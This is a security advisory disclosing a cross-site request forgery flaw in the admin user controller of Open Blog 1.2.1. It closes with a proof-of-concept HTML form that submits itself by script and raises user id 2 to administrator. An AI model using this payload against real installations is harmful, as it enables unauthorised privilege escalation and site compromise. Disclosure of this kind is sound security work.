Vulnerability ID: HTB22496
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_open_blog.html
Product: Open Blog
Vendor: Tomaž Muraus ( http://www.open-blog.info/)
Vulnerable Version:1.2.1and Probably Prior Versions
Vendor Notification:22 July 2010
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "/application/modules/admin/controllers/users.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:<form action="http://host/admin/users/edit" method="post"><inputtype="hidden" name="display_name" value="User"/><inputtype="hidden" name="level" value="administrator"/><inputtype="hidden" name="email" value="email (at) example (dot) com [email concealed]"/><inputtype="hidden" name="website" value=""/><inputtype="hidden" name="msn_messenger" value=""/><inputtype="hidden" name="jabber" value=""/><inputtype="hidden" name="about_me" value="about_me"/><inputtype="hidden" name="id" value="2"/><inputtype="submit" name="submit"id="sbmtit" value="Edit ››"/></form><script>
document.getElementById('sbmtit').click();</script>